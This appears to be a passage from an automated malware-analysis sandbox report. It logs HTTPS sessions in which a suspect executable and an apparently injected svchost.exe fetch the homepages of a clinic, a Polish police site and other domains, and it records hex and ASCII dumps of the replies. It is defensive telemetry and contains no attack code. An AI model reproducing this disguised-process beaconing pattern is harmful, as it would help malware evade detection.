2023-03-10 06:56:15 UTC	455	IN	Data Raw: 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 45 73 63 72 c3 ad 62 65 6e 6f 73 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 32 33 31 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 64 69 72 65 63 74 6f 72 69 6f 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 Data Ascii: menu-item-content"><span class="g-menu-item-title">Escrbenos</span></span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-231 "><a class="g-menu-item-container" href="/index.php/contacto/directorio"><span class="g-menu-ite
2023-03-10 06:56:15 UTC	456	IN	Data Raw: 0a 3c 2f 73 70 61 6e 3e 0a 3c 2f 61 3e 0a 3c 2f 6c 69 3e 0a 3c 6c 69 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 79 70 65 2d 63 6f 6d 70 6f 6e 65 6e 74 20 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 33 38 35 20 20 22 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 61 69 6e 65 72 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 63 6f 6e 74 61 63 74 6f 2f 63 6f 70 61 73 73 74 2d 32 30 32 30 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 6d 65 6e 75 2d 69 74 65 6d 2d 74 69 74 6c 65 22 3e 43 4f 50 41 53 53 54 3c 2f 73 70 61 6e 3e 0a 3c 2f 73 70 61 6e 3e 0a 3c Data Ascii: </span></a></li><li class="g-menu-item g-menu-item-type-component g-menu-item-385 "><a class="g-menu-item-container" href="/index.php/contacto/copasst-2020"><span class="g-menu-item-content"><span class="g-menu-item-title">COPASST</span></span><
2023-03-10 06:56:15 UTC	457	IN	Data Raw: 65 72 61 6e 7a 61 20 64 65 6c 20 6d 61 c3 b1 61 6e 61 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 70 6c 61 74 66 6f 72 6d 2d 63 6f 6e 74 65 6e 74 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 73 74 79 6c 65 3e 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 6c 6f 63 6b 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 2e 67 61 66 61 6e 63 79 62 6f 78 2d 69 6e 6e 65 72 20 7b 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 20 21 69 6d 70 6f 72 74 61 6e 74 3b 7d 0d 0a 23 67 61 66 61 6e 63 79 62 6f 78 2d 6f 76 65 72 6c 61 79 33 37 39 20 7b 0d 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c Data Ascii: eranza del maana</div></div> </div><div class="platform-content"><div class="moduletable "><style>.gafancybox-lock {overflow: hidden !important;}.gafancybox-inner {overflow: hidden !important;}#gafancybox-overlay379 {background: rgba(0, 0, 0,
2023-03-10 06:56:15 UTC	459	IN	Data Raw: 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 6f 70 65 6e 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 45 66 66 65 63 74 09 3a 20 27 6e 6f 6e 65 27 2c 20 2f 2f 65 6c 61 73 74 69 63 2c 20 66 61 64 65 20 6f 72 20 6e 6f 6e 65 0d 0a 20 20 20 20 20 20 20 20 63 6c 6f 73 65 53 70 65 65 64 20 20 20 3a 20 32 35 30 2c 20 20 20 20 0d 0a 09 09 09 09 61 75 74 6f 48 65 69 67 68 74 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 61 75 74 6f 57 69 64 74 68 20 3a 20 66 61 6c 73 65 2c 0d 0a 09 09 77 69 64 74 68 20 20 20 20 20 3a 20 37 38 30 2c 0d 0a 09 09 6d 61 78 48 65 69 67 68 74 20 3a 20 38 30 30 2c 09 0d 0a 09 09 63 6c 6f 73 Data Ascii: ffect: 'none', //elastic, fade or none openSpeed : 250, closeEffect: 'none', //elastic, fade or none closeSpeed : 250, autoHeight : false,autoWidth : false,width : 780,maxHeight : 800,clos
2023-03-10 06:56:15 UTC	460	IN	Data Raw: 69 63 27 29 3b 0d 0a 09 72 65 66 49 44 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 20 3d 20 22 6e 6f 6e 65 22 3b 09 0d 0a 7d 0d 0a 66 75 6e 63 74 69 6f 6e 20 68 69 64 65 73 74 75 66 66 28 62 6f 78 69 64 29 7b 0d 0a 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 62 6f 78 69 64 29 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 68 69 64 64 65 6e 22 3b 0d 0a 7d 0d 0a 3c 2f 73 63 72 69 70 74 3e 0a 3c 61 20 63 6c 61 73 73 3d 22 70 6f 70 75 70 2d 61 68 6f 6c 69 63 33 37 39 22 20 68 72 65 66 3d 22 23 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 3c 2f 61 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 22 3e 0a 3c 64 69 76 20 69 64 3d 22 69 6e 6c 69 6e 65 2d 61 75 74 6f 33 37 39 22 3e 0a Data Ascii: ic');refID.style.display = "none";}function hidestuff(boxid){ document.getElementById(boxid).style.visibility="hidden";}</script><a class="popup-aholic379" href="#inline-auto379"></a><div style="display:none;"><div id="inline-auto379">
2023-03-10 06:56:15 UTC	461	IN	Data Raw: 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 65 64 20 67 2d 62 67 2d 34 20 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 2d 61 6e 69 6d 61 74 69 6f 6e 2d 32 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 32 2e 70 6e 67 22 20 61 6c 74 3d 22 69 6d 61 67 65 22 20 2f 3e 0a 3c 64 69 76 20 63 Data Ascii: 00 nopaddingall"><div class="g-content"><div class="moduletable "><div class="g-animatedblock "><div class="g-animatedblock-animated g-bg-4 g-animatedblock-animation-2"><img src="/images/rocketlauncher/home/slideshow/img-02.png" alt="image" /><div c
2023-03-10 06:56:15 UTC	463	IN	Data Raw: 64 65 6e 2d 70 68 6f 6e 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 75 73 74 6f 6d 67 2d 61 6e 69 6d 61 74 65 64 62 6c 6f 63 6b 20 68 69 64 64 65 6e 2d 70 68 6f 6e 65 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 72 6f 63 6b 65 74 6c 61 75 6e 63 68 65 72 2f 68 6f 6d 65 2f 73 6c 69 64 65 73 68 6f 77 2f 69 6d 67 2d 30 34 2e 70 6e 67 22 20 61 6c 74 3d 22 53 61 6c 69 65 6e 74 22 20 2f 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 20 6e 6f 70 61 64 64 69 6e 67 61 6c 6c 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: den-phone"><div class="customg-animatedblock hidden-phone"><img src="/images/rocketlauncher/home/slideshow/img-04.png" alt="Salient" /></div></div></div></div></div></div><div class="g-grid"><div class="g-block size-100 nopaddingall"><div class="
2023-03-10 06:56:15 UTC	464	IN	Data Raw: 22 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 64 65 73 63 22 3e 3c 61 20 63 6c 61 73 73 3d 22 70 6f 72 74 61 66 6f 6c 69 6f 5f 68 6f 6d 65 22 20 68 72 65 66 3d 22 2f 69 6e 64 65 78 2e 70 68 70 2f 73 6f 6d 6f 73 2d 65 73 70 65 63 69 61 6c 69 73 74 61 73 2f 73 65 72 76 69 63 69 6f 2f 61 70 6f 79 6f 2d 64 69 61 67 6e 6f 73 74 69 63 6f 22 3e 41 70 6f 79 6f 20 44 69 61 67 6e c3 b3 73 74 69 63 6f 3c 2f 61 3e 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 66 69 67 75 72 65 3e 0a 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 32 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 Data Ascii: "></div><div class="g-promoimage-desc"><a class="portafolio_home" href="/index.php/somos-especialistas/servicio/apoyo-diagnostico">Apoyo Diagnstico</a></div> </div></figure></div> </div></div></div><div class="g-block size-20"><div class="g-cont
2023-03-10 06:56:15 UTC	465	IN	Data Raw: 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 6d 6f 64 75 6c 65 74 61 62 6c 65 20 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 20 63 65 6e 74 65 72 20 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 68 6f 6d 65 22 3e 0a 3c 66 69 67 75 72 65 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 65 66 66 65 63 74 22 3e 0a 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d 61 67 65 2d 69 63 6f 6e 62 75 74 74 6f 6e 20 22 3e 3c 2f 73 70 61 6e 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 68 6f 6d 65 2f 63 61 6e 67 75 72 6f 2d 62 61 6a 61 2e 6a 70 67 22 20 61 6c 74 3d 22 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 70 72 6f 6d 6f 69 6d Data Ascii: iv class="g-content"><div class="moduletable "><div class="g-promoimage center g-promoimage-home"><figure class="g-promoimage-effect"><span class="g-promoimage-iconbutton "></span><img src="/images/home/canguro-baja.jpg" alt=""><div class="g-promoim
2023-03-10 06:56:15 UTC	467	IN	Data Raw: 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 66 65 61 74 75 72 65 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 73 69 7a 65 2d 31 30 30 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 73 70 61 63 65 72 22 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 3c 2f 73 65 63 74 69 6f 6e 3e 0a 3c 73 65 63 74 69 6f 6e 20 69 64 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 2d 38 31 32 34 22 20 63 6c 61 73 73 3d 22 67 2d 77 72 61 70 70 65 72 22 3e 0a 3c 64 69 76 20 63 6c 61 73 Data Ascii: ></div></div></div></section><section id="g-feature"><div class="g-container"> <div class="g-grid"><div class="g-block size-100"><div class="spacer"></div></div></div></div></section><section id="g-container-8124" class="g-wrapper"><div clas
2023-03-10 06:56:15 UTC	468	IN	Data Raw: 63 69 74 61 20 64 65 20 6f 6e 63 6f 6c 6f 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 32 20 70 72 6f 67 72 61 6d 61 63 69 c3 b3 6e 20 64 65 20 63 69 72 75 67 c3 ad 61 2d 20 4f 70 63 69 c3 b3 6e 20 33 20 6f 74 72 61 73 20 63 69 74 61 73 20 3c 62 72 3e 0a 48 6f 72 61 72 69 6f 20 64 65 20 61 74 65 6e 63 69 c3 b3 6e 3a 20 4c 75 6e 20 2d 20 56 69 65 20 37 3a 30 30 20 61 2e 6d 2e 20 61 20 35 3a 30 30 20 70 2e 6d 2e 20 6a 6f 72 6e 61 64 61 20 43 6f 6e 74 69 6e 75 61 2e 0a 3c 2f 62 72 3e 3c 62 72 3e 3c 2f 62 72 3e 0a 3c 73 74 72 6f 6e 67 3e 43 69 74 61 73 20 50 72 6f 67 72 61 6d 61 20 43 61 6e 67 75 72 6f 3a 20 3c 70 3e 36 30 37 36 34 33 30 30 32 36 20 45 78 74 2e 33 36 31 2d 33 36 34 20 2d 20 3c 62 72 3e 20 3c 73 74 72 6f 6e 67 3e 48 6f 72 61 72 69 6f 20 64 65 20 Data Ascii: cita de oncologa- Opcin 2 programacin de ciruga- Opcin 3 otras citas <br>Horario de atencin: Lun - Vie 7:00 a.m. a 5:00 p.m. jornada Continua.</br><br></br><strong>Citas Programa Canguro: <p>6076430026 Ext.361-364 - <br> <strong>Horario de
2023-03-10 06:56:15 UTC	469	IN	Data Raw: 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 43 61 6c 6c 65 20 34 38 20 23 20 32 35 2d 35 36 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 69 74 65 6d 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 6c 61 62 65 6c 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 61 63 74 2d 74 65 78 74 22 3e 4e 75 65 76 6f 20 53 6f 74 6f 6d 61 79 6f 72 3c 2f 64 69 76 3e 20 3c 2f 64 69 76 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 Data Ascii: class="g-contact-label">Calle 48 # 25-56</div> <div class="g-contact-text">Calle 48 # 25-56</div> </div><div class="g-contact-item"><div class="g-contact-label">Nuevo Sotomayor</div> <div class="g-contact-text">Nuevo Sotomayor</div> </div><div class="
2023-03-10 06:56:15 UTC	471	IN	Data Raw: 73 3d 22 67 2d 63 6f 6e 74 61 69 6e 65 72 22 3e 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 67 72 69 64 22 3e 0a 3c 64 69 76 20 63 6c 61 73 73 3d 22 67 2d 62 6c 6f 63 6b 20 20 73 69 7a 65 2d 33 33 2d 33 22 3e 0a 3c 64 69 76 20 69 64 3d 22 6c 6f 67 6f 2d 32 34 34 34 2d 70 61 72 74 69 63 6c 65 22 20 63 6c 61 73 73 3d 22 67 2d 63 6f 6e 74 65 6e 74 20 67 2d 70 61 72 74 69 63 6c 65 22 3e 20 3c 61 20 68 72 65 66 3d 22 2f 22 20 74 69 74 6c 65 3d 22 22 20 72 65 6c 3d 22 68 6f 6d 65 22 20 63 6c 61 73 73 3d 22 67 2d 66 6f 6f 74 65 72 2d 6c 6f 67 6f 22 3e 0a 3c 69 6d 67 20 73 72 63 3d 22 2f 69 6d 61 67 65 73 2f 32 30 32 31 2f 49 63 6f 6e 74 65 63 5f 4c 6f 67 6f 2e 6a 70 67 22 20 61 6c 74 3d 22 43 6c 69 6e 69 63 61 20 53 61 6e 20 4c 75 69 73 22 20 2f 3e 0a 3c 2f 61 Data Ascii: s="g-container"> <div class="g-grid"><div class="g-block size-33-3"><div id="logo-2444-particle" class="g-content g-particle"> <a href="/" title="" rel="home" class="g-footer-logo"><img src="/images/2021/Icontec_Logo.jpg" alt="Clinica San Luis" /></a
2023-03-10 06:56:15 UTC	472	IN	Data Raw: 34 61 33 0d 0a 66 61 6c 73 65 22 20 73 72 63 3d 22 2f 63 64 6e 2d 63 67 69 2f 73 63 72 69 70 74 73 2f 35 63 35 64 64 37 32 38 2f 63 6c 6f 75 64 66 6c 61 72 65 2d 73 74 61 74 69 63 2f 65 6d 61 69 6c 2d 64 65 63 6f 64 65 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 73 72 63 3d 22 2f 6d 65 64 69 61 2f 67 61 6e 74 72 79 35 2f 61 73 73 65 74 73 2f 6a 73 2f 6d 61 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 70 20 63 6c 61 73 73 3d 22 70 69 6e 22 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 70 74 3b 22 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 70 6f 73 69 74 69 6f 6e 3a 20 66 69 78 65 64 3b 20 62 6f 74 74 6f 6d 3a 20 30 Data Ascii: 4a3false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script><script type="text/javascript" src="/media/gantry5/assets/js/main.js"></script><p class="pin"><span style="font-size: 10pt;"><div style="position: fixed; bottom: 0
2023-03-10 06:56:15 UTC	473	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.6	53173	172.67.156.49	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	318	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: orlyhotel.com
2023-03-10 06:56:15 UTC	408	IN	HTTP/1.1 500 Internal Server Error Date: Fri, 10 Mar 2023 06:56:15 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close Cache-Control: max-age=0, no-store, no-cache, must-revalidate Expires: Fri, 10 Mar 2023 06:46:19 GMT Content-Language: en Last-Modified: Fri, 10 Mar 2023 06:46:19 GMT X-Frame-Options: SAMEORIGIN Vary: Accept-Language Set-Cookie: django_language=en; expires=Sat, 09-Mar-2024 06:46:19 GMT; Max-Age=31536000; Path=/ CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=%2BAlaineIXQquoEBP0cXugR8lTTJGDC4lUd%2B9%2BNRssAYxUNd56tT5IbpbVscmNj99OfXB%2FnX5jWngjuu5Q10tNaYOs7s8L2i8%2BzX1xCsBmc4NM%2F4bShGkT9MfeyfGa%2B1B"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7a59a81ccf6830f3-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2023-03-10 06:56:15 UTC	409	IN	Data Raw: 31 62 0d 0a 3c 68 31 3e 53 65 72 76 65 72 20 45 72 72 6f 72 20 28 35 30 30 29 3c 2f 68 31 3e 0d 0a Data Ascii: 1b<h1>Server Error (500)</h1>
2023-03-10 06:56:15 UTC	409	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.6	53170	91.229.22.126	443	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	319	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: pleszew.policja.gov.pl
2023-03-10 06:56:15 UTC	328	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 10 Mar 2023 06:56:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding
2023-03-10 06:56:15 UTC	328	IN	Data Raw: 31 66 63 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 64 65 73 63 72 69 70 74 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 20 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 49 6e 64 65 78 2c 20 46 6f 6c 6c 6f 77 22 2f 3e 0d 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 4b 50 50 20 50 6c 65 Data Ascii: 1fc0<!DOCTYPE html><html lang="pl"> <head> <meta charset="UTF-8"/> <meta name="description" content=" "/> <meta name="keywords" content=""/> <meta name="robots" content="Index, Follow"/> <meta name="author" content="KPP Ple
2023-03-10 06:56:15 UTC	344	IN	Data Raw: 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 61 72 74 69 63 6c 65 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 20 20 20 20 0d 0a 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0d 0a 3c 2f 64 69 76 3e 0d 0a 3c 21 2d 2d 20 20 74 6f 70 6e 65 77 73 2e 20 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 20 20 2d 2d 0d 0a 32 30 30 30 0d 0a 3e 0d 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0d 0a 20 20 0d 0a 20 20 3c 21 2d 2d 20 20 63 6f 6e 74 65 6e 74 2d 6c 65 66 74 20 20 2d 2d 3e 0d 0a 20 20 3c 61 72 74 69 63 6c 65 20 69 64 3d 22 77 74 78 74 22 20 63 6c 61 73 73 3d 22 6d 61 69 6e 4c 65 66 74 22 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 20 61 6b 74 75 61 6c Data Ascii: </div> </div> </article> </section> </section></div>... topnews. -->... content --2000><div id="content"> ... content-left --> <article id="wtxt" class="mainLeft"> ... aktual
2023-03-10 06:56:15 UTC	360	IN	Data Raw: 74 3a 31 37 39 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 30 70 78 22 3e 3c 61 20 68 72 65 66 3d 22 2f 77 32 30 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2c 5a 6f 73 74 61 6e 2d 6a 65 64 6e 79 6d 2d 7a 2d 6e 61 73 2d 50 52 41 43 41 2d 57 2d 50 4f 4c 49 43 4a 49 2e 68 74 6d 6c 22 20 74 61 72 67 65 74 3d 22 5f 74 6f 70 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 64 6f 6b 75 6d 65 6e 74 79 2f 62 61 74 6f 6e 79 2f 34 35 39 36 2e 6a 70 67 3f 0d 0a 31 30 30 30 0d 0a 76 3d 31 36 35 37 31 31 32 36 31 38 22 20 61 6c 74 3d 22 5a 6f 73 74 61 c5 84 20 6a 65 64 6e 79 6d 20 7a 20 6e 61 73 20 2d 20 50 52 41 43 41 20 57 20 50 4f 4c 49 43 4a 49 22 20 2f 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0a 09 09 0a 09 0a 09 09 0a 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 69 74 65 6d 22 Data Ascii: t:179px;margin-bottom:10px"><a href="/w20/batony/4596,Zostan-jednym-z-nas-PRACA-W-POLICJI.html" target="_top"><img src="/dokumenty/batony/4596.jpg?1000v=1657112618" alt="Zosta jednym z nas - PRACA W POLICJI" /></a></div><div class="item"
2023-03-10 06:56:15 UTC	376	IN	Data Raw: 64 69 76 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 20 20 3c 2f 66 6f 6f 74 65 72 3e 0d 0a 20 20 20 20 20 20 3c 21 2d 2d 20 66 6f 6f 74 65 72 20 2e 2d 2d 3e 0d 0a 20 20 20 20 20 0d 0a 20 20 20 20 3c 2f 64 69 76 3e 0d 0a 20 20 20 20 0d 0a 20 20 20 20 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2d 2d 3e 0d 0a 20 20 09 3c 64 69 76 20 69 64 3d 22 62 61 63 6b 2d 74 6f 2d 74 6f 70 22 3e 3c 61 20 68 72 65 66 3d 22 23 70 61 67 65 22 3e 3c 73 70 61 6e 3e 3c 2f 73 70 61 6e 3e 3c 73 70 61 6e 20 0d 0a 61 34 0d 0a 63 6c 61 73 73 3d 22 73 72 2d 6f 6e 6c 79 22 3e 50 6f 77 72 c3 b3 74 20 6e 61 20 67 c3 b3 72 c4 99 20 73 74 72 6f 6e 79 3c 2f 73 70 61 6e 3e 3c 2f 61 3e 3c 2f 64 69 76 3e 0d 0a 20 20 09 3c 21 2d 2d 20 47 6f 54 6f 54 6f 70 20 20 2e 2d Data Ascii: div> </div> </footer> ... footer .--> </div> ... GoToTop --> <div id="back-to-top"><a href="#page"><span></span><span a4class="sr-only">Powrt na gr strony</span></a></div> ... GoToTop .-

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.6	53163	188.114.96.3	443	C:\Users\user\Desktop\iJzpyjAehB.exe

Timestamp	kBytes transferred	Direction	Data
2023-03-10 06:56:14 UTC	319	OUT	GET / HTTP/1.1 Accept: * Accept-Language: en-us Connection: keep-alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) Cache-Control: no-cache Host: sigtoa.com
